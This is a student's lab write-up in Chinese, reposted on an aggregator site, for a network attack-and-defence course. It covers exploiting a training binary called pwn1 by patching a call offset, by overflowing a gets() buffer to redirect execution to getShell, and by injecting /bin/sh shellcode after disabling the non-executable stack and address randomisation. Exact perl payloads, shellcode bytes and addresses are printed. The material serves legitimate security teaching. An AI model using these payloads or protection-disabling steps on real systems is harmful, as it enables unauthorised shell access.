首页 > 基础资料 博客日记

20253904 2025-2026-2 《网络攻防实践》第九周作业

2026-05-31 19:30:02基础资料围观1

本篇文章分享20253904 2025-2026-2 《网络攻防实践》第九周作业,对你有帮助的话记得收藏一下,看极客资料网收获更多编程知识

20253904 2025-2026-2 《网络攻防实践》第九周作业

Part 1 软件安全攻防--缓冲区溢出和shellcode

1. 实验环境

实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

实验环境:

  • 硬件环境:
    • GPU:NVIDIA GeForce RTX 5070 Ti Laptop
    • CPU:AMD Ryzen 9 9955HX(16 核)
  • 软件环境:
    • 操作系统:Windows 11 家庭中文版
    • 虚拟化平台:VMware Workstation 16.2.4
    • 虚拟机镜像:Kali Linux 2025.4

2. 实验内容

在实验开始前,首先按照要求修改一下主机名称,输入hostname dhp改变主机姓名,当然光这样是不够的,还需要修改一下配置文件,输入下面两条指令:

echo "127.0.0.1 localhost dhp" >> /etc/hosts
echo "::1 localhost dhp" >> /etc/hosts

image

图 2.1 修改hostname和相关配置

接下来可以通过visudo -c查看一下是否有语法错误。

image

图 2.2 查看是否有语法拼写错误

可以看到没有错误,输入sudo -ksudo su重启,然后修改配置让这个配置持久化,重启依然是现在设置的用户名。

image

图 2.3 重启sudo并持久化配置

(1)手工修改可执行文件

通过共享文件夹把pwn1复制到虚拟机上,按照要求改个名字,然后通过objdump -d pwn1_20253904dhp | more查看他的反汇编文件。

image

图 2.4 查看pwn1反汇编结果

直接向下找到getshell,foo,main三个函数这里,注意main函数里面的call相关的参数。

image

图 2.5 查看main函数

注意这里e8这条call是相对跳转,实际的计算方式是:目标地址 = call指令的下一条指令地址 + 位移,可以看到下一条指令的地址是0x80484ba,要跳转到getshell,也就是要跳转到其程序对应的地址0x804847d,计算得到新的位移为:0x804847d - 0x80484ba = -0x3d,转32位补码得到0x100000000 − 0x3d = 0xFFFFFFC3,接下来直接vim进入pwn1进行修改,先输入:%!xxd把文件转成十六进制,方便查看和修改。

image

图 2.6 vim查看pwn1,并改成十六进制

在vim命令行输入/d7ff来定位到偏移量对应的文本。

image

图 2.8 定位偏移量对应的位置

把d7改为c3

image

图 2.9 修改偏移量

接下来保存文件,保存之前记得输入:%!xxd -r把文件从十六进制还原成最开始的格式,不然会导致文件彻底损失,修改完后:wq保存。

image

图 2.10 还原文件格式后保存

通过./pwn1_20253904dhp运行一下程序,输入一些命令行的常见指令,可以看到都能正常得到结果,说明已经取得了shell的控制权。

image

图 2.11 运行文件检查修改结果,成功实现了攻击

利用foo函数的Bof漏洞触发getShell函数

回看一下main函数的内容,可以注意到两个关键点:

  1. 使用了C语言的gets函数,它只接收一个缓冲区指针,不接收缓冲区大小,因此完全不检查输入长度,会一直往里写,直到读到换行或文件结束为止。可以利用它制造缓冲区溢出。
  2. 可以看到其缓冲区起点是 ebp−0x1c,保存的返回地址在 ebp+4,两者间隔为 offset = (ebp+4) − (ebp−0x1c) = 0x1c + 4 = 0x20 = 32 字节。换句话说,前32字节是占位填充,第33~36字节正好落在返回地址上。

image

图 2.13 分析main函数

因此,可以这样构造一个攻击字符串,首先填充32个a占位,然后拼接getshell程序的地址:0x0804847d,输入perl -e 'print "a" x 32; print "\x7d\x84\x04\x08"' > input_20253904dhp生成攻击用字符串

image

图 2.14 生成攻击字符串

接下来用(cat input_20253904dhp; cat) | ./pwn1_20253904dhp喂给程序,成功获得了shell控制权,可以输入一些常见指令验证攻击是否成功。

image

图 2.15 夺取shell控制权,验证攻击成功

注入自制的shellcode并运行

为了完成这个任务,需要解决两个linux自带的防护机制。

首先是现代ELF会默认把栈标记为不可执行,shellcode写到栈上也跳不过去。需要用execstack 修改栈标记。kali上没有execstack,先通过下列指令安装一个:

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image

图 2.16 安装execstack

安装好后输入execstac -s pwn1_20253904dhp修改栈标记,然后可以通过execstac -q pwn1_20253904dhp验证一下,输出X说明栈标记已经可以执行了。

image

图 2.17 修改栈标记并检查修改结果

第二个要解决的是栈的基址随机化问题,需要把攻击地址固定下来,输入echo0 | sudo tee /proc/sys/kernel/randomize_va_space,输出0说明已经把地址固定了。

image

图 2.18 固定栈的基址

接下来构建一个shellcode,输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253904dhp,注意最后的\x4\x3\x2\x1\都是占位符,代替的是返回地址的位置,接下来通过gdb来查看具体的返回地址。

image

图 2.19 构建shellcode

运行(cat input_20253904dhp; cat) | ./pwn1_20253904dhp,注意注入的shellcode的末尾(\x00)不是换行,gets会阻塞进程。

image

图 2.20 注入shellcode并阻塞进程

接下来需要新开一个终端,首先查看此时pwn1运行的进程,输入ps -ef | grep pwn1_20253904dhp

image

图 2.21 查看pwn1进程编号

可以看到此时的进程id是37912,启动gdb,输入attach 37912接入进程。

image

图 2.22 启动gdb并接入进程

通过disassemble foo可以看到最后ret命令对应的地址为0x080484ae,在这里通过break *0x080484ae加入一个断点。

image

图 2.23 查看ret命令对应的地址并植入断点

输入c让程序继续运行,此时回到第一个终端那边按一下回车,让他运行到ret,然后回到gdb,可以看到断点已经阻断了程序运行。

image

图 2.24 断点阻断程序运行

输入info r esp,可以看到此时的栈顶指针的位置为:0xffffd31c

image

图 2.25 查看栈顶指针位置

0xffffd31c + 4 = 0xffffd320就可以得到真实的返回地址,修改shellcode,删去占位符填入返回地址后,得到新的注入指令:

perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253904dhp

输入后成功夺取了shell,可以输入一些常见指令检查是否成功。

image

图 2.26 夺取shell控制权,验证攻击成功


Part 2 学习总结

1. 知识点总结


2. 学习中遇到的问题与解决

问题1: 通过hostname修改主机名后,sudo相关指令均报错。
问题1解决方案: 需要同步修改配置文件,修改后可以正常运行。
问题2: 安装gdb时出现如下错误:

image

图 2.27 安装gdb时报错

问题2解决方案: apt没更新,输入apt update后可以正常下载。


3. 学习感悟与思考


文章来源:https://www.cnblogs.com/dhpqwq/p/20241459
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

上一篇:上位机程序发布打包成安装包---Inno Setup
下一篇:没有了

相关文章

本站推荐

标签云